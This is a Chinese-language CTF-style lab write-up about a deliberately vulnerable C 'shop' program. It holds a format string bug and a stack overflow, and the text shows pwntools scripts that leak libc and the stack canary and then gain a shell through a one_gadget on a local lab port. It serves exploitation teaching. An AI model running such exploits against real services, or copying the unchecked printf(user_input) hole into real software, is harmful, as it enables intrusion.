Lab 網址
前言
今天大致來到 Stack 部分的尾聲,前面的內容我們討論了幾個經典的 Stack 漏洞,講解了如何進行攻擊並編寫 exploit,也介紹了不少實用的工具。今天,我們將實際練習一道程式碼量較大的題目,這是我在 HITCON 社團攤位時設計的練習題目。
Lab
查看以下原始碼:
1#include<stdio.h>
2#include<stdlib.h>
3#include<unistd.h>
4int choice,num;
5char *product[3] = {
6 "shirt\n",
7 "sticker\n",
8 "tissue\n"
9};
10
11void buy(){
12 printf("We have 3 products:\n");
13 for(int i=0; i<3; i++){
14 printf("%d. %s", i+1, product[i]);
15 }
16 printf("Which one do you want to buy? ");
17 scanf("%d", &choice);
18 printf("You have bought %s\n", product[choice-1]);
19 printf("How many do you want to buy? ");
20 scanf("%d", &num);
21 return;
22}
23
24char address[0x20];
25int main(){
26 setvbuf(stdout, 0, _IONBF, 0);
27 setvbuf(stdin, 0, _IONBF, 0);
28 printf("This is HackerSir!\n");
29 printf("Welcome to the shop!\n");
30 printf("1. Buy\n");
31 printf("2. Exit\n");
32 printf("Your choice: ");
33 scanf("%d", &choice);
34 if(choice==1){
35 buy();
36 printf("Please leave your address: ");
37 scanf("%s", address);
38 printf(address);
39 }else{
40 printf("Goodbye!\n");
41 exit(0);
42 }
43 char last[0x10];
44 printf("\nleave your last message to our club: ");
45 read(0, last, 0x30);
46 return 0;
47}
使用以下指令進行編譯:
1gcc src/online_shopping.c -o ./online_shopping/share/online_shopping -fstack-protector-all -z now
writeup
從編譯參數可以看出,程式是動態連結且保護全開。如果想要透過 return address 控制程式流程,需要先 leak 出 canary。我們注意到第 18 行有機會透過越界存取資訊,第 38 行可以利用 format string bug 來 leak 出 stack 資訊,最後的 read 也可能導致 overflow。因此,我們需要確認以下幾點:
- 能否找到 libc base 和 canary
- 有多少 overflow 空間,以及能否透過某種方法獲取 shell
首先確認能否找到 libc base 和 canary。這裡使用簡單的 script 來驗證是否可以利用 format string 漏洞 leak 出這些資訊。在此之前,我們可以換用適當的 libc,參考Day13-How to change libc & ret2libc
利用 format string 漏洞,先用 %p 格式輸出 stack 的值,通過 gdb 檢查是否能獲取有用的資訊。後面的 - 用來分隔每個位置,方便後續寫 exploit 時精確控制。
以下是簡單的 script:
1from pwn import *
2r = process('./online_shopping')
3context.terminal = ['tmux', 'splitw', '-h']
4gdb.attach(r)
5r.sendlineafter('e: ', '1')
6r.sendlineafter('buy? ', '1')
7r.sendlineafter('buy? ', '1')
8r.sendlineafter('ss: ', '%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
9leak = r.recvuntil('\n', drop=True)
10print(leak)
11r.interactive()
執行後,可以看到第三個參數 offset 是 0x21aaa0,第九個參數是 canary。將 leak 的 payload 改為 %3$p-%9$p 以 leak 出 libc base 和 canary,並計算出 libc base。



以下是驗證的 script:
1from pwn import *
2import sys
3r = process('./online_shopping')
4# r = remote('127.0.0.1', 10011)
5context.terminal = ['tmux', 'splitw', '-h']
6gdb.attach(r)
7r.sendlineafter('e: ', '1')
8r.sendlineafter('buy? ', '1')
9r.sendlineafter('buy? ', '1')
10r.sendlineafter('ss: ', '%3$p-%9$p')
11cnt = r.recvuntil('\n', drop=True)
12cnt = cnt.split(b'-')
13libc = int(cnt[0], 16) - 0x21aaa0
14log.success('libc = ' + hex(libc))
15canary = int(cnt[1], 16)
16log.success('canary = ' + hex(canary))
17r.interactive()
確認成功 leak 到 libc 和 canary。

接下來,我們嘗試控制程式流程。根據 objdump,我們知道從 rbp-0x20 開始輸入 0x30,因此只可以控制到 return address。由於我們已經 leak 出 libc base,接下來使用 one_gadgets 獲取 shell,具體可參考 Day14-Other ret2libc(one gadgets)

完整 exploit:
要記得我們在 rbp 前要填入我們所 leak 到的 canary,不然程式會 crash,另外,可以將 rbp 填入 libc 的 bss 段,因為我們沒有事先 leak pie
1from pwn import *
2import sys
3# r = process('../online_shopping/share/online_shopping')
4r = remote('127.0.0.1', 10011)
5r.sendlineafter('e: ', '1')
6r.sendlineafter('buy? ', '1')
7r.sendlineafter('buy? ', '1')
8r.sendlineafter('ss: ', '%3$p-%9$p')
9cnt = r.recvuntil('\n', drop=True)
10cnt = cnt.split(b'-')
11libc = int(cnt[0], 16) - 0x21aaa0
12log.success('libc = ' + hex(libc))
13canary = int(cnt[1], 16)
14log.success('canary = ' + hex(canary))
15og = libc + 0xebd3f
16payload2 = b'A' * 0x18 + p64(canary) + p64(libc + 0x21be00) + p64(og)
17r.sendlineafter('club: ', payload2)
18r.interactive()
solved!!!
